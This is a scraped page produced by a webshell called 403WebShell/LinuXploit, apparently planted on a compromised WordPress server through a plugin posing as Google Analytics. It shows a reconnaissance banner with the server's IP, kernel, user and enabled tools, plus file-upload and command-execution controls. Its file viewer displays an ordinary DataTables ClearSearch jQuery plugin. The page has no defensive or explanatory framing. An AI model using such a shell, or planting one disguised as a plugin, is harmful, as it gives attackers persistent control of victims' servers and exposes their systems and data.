Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/public/static/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/public/static/datatables.clearsearch.js
(function( factory ){
	if ( typeof define === 'function' && define.amd ) {
		// AMD
		define( ['jquery', 'datatables.net'], function ( $ ) {
			return factory( $, window, document );
		} );
	}
	else if ( typeof exports === 'object' ) {
		// CommonJS
		module.exports = function (root, $) {
			if ( ! root ) {
				root = window;
			}

			if ( ! $ || ! $.fn.dataTable ) {
				$ = require('datatables.net')(root, $).$;
			}

			return factory( $, root, root.document );
		};
	}
	else {
		// Browser
		factory( jQuery, window, document );
	}
}(function( $, window, document, undefined ) {
	var DataTable = $.fn.dataTable;

	var ClearSearch = function ( dt, opts ) {
		if ( ! (this instanceof ClearSearch) ) {
			alert( "ClearSearch warning: ClearSearch must be initialised with the 'new' keyword." );
			return;
		}

		if ( ! DataTable.versionCheck || ! DataTable.versionCheck( '1.10.8' ) ) {
			throw( "Warning: ClearSearch requires DataTables 1.10.8 or greater");
		}		
		if ( opts === undefined ) {
			opts = {};
		}
		
		this.s = {
			/**
			 * DataTables settings object
			 *  @type     object
			 *  @default  Passed in as first parameter to constructor
			 */
			//"dt": $.fn.dataTable.Api( dt ).settings()[0]
			dt: new DataTable.Api( dt ),
		};
		this.s = $.extend( this.s, ClearSearch.oDefaults, opts );

		this.dom = {
			container: $('<span/>').addClass( 'clearsearch-close' )
		};

		if ( this.s.dt.oClearSearch ) {
			return;
		}
		this.s.dt.oClearSearch = this;
		this._constructor();
	};

	$.extend( ClearSearch.prototype, {
		_constructor: function () {
			var that = this;
			var dt = this.s.dt;
			var container = this.s.dt.table().container();
			var $dtFilter = $('div.dataTables_filter', container);
			$('.dataTables_filter input[type="search"]', container).addClass('clearsearch');
			if ($dtFilter.length) {
				this.dom.dtFilter = $dtFilter;
				if (!$('span', $dtFilter).length) {		// only add Close button once
					$dtFilter.append(this.dom.container);
					this.dom.container.on('click', function(e) {
						dt.search('').draw();
					});
				}
			}
		}
	} );

	// Attach a listener to the document which listens for DataTables initialisation
	// events so we can automatically initialise
	$(document).on( 'init.dt plugin-init.dt', function (e, settings, json) {
		if ( e.namespace !== 'dt' ) {
			return;
		}

		var init = settings.oInit.clearSearch;
		var defaults = DataTable.defaults.clearSearch;

		if ( init || defaults ) {
			var opts = $.extend( {}, init, defaults );

			if ( init !== false ) {
				new ClearSearch( settings, opts  );
			}
		}
	} );

	var isIOS = navigator.platform.match(/(iPhone|iPod|iPad)/i);
	if (window.chrome && window.chrome.webstore) {		// not for Chrome on Windows
		var isMac = navigator.platform.toUpperCase().indexOf('MAC') > -1;
		DataTable.defaults.clearSearch = isMac;
	} else if (typeof InstallTrigger != 'undefined') {	// Firefox
		DataTable.defaults.clearSearch = true;
	} else if (Object.prototype.toString.call(window.HTMLElement).indexOf('Constructor') > 0) {	// Safari
		DataTable.defaults.clearSearch = true;
	} else {
		DataTable.defaults.clearSearch = isIOS;
	}
	
	// DataTables `dom` feature option
	DataTable.ext.feature.push( {
		fnInit: function( settings ) {
			var api = new DataTable.Api( settings );
			var opts = api.init().clearSearch || DataTable.defaults.clearSearch;

			return new ClearSearch( api, opts ).container();
		},
		cFeature: "S"
	} );

	return ClearSearch;
}));


Youez - 2016 - github.com/yon3zu
LinuXploit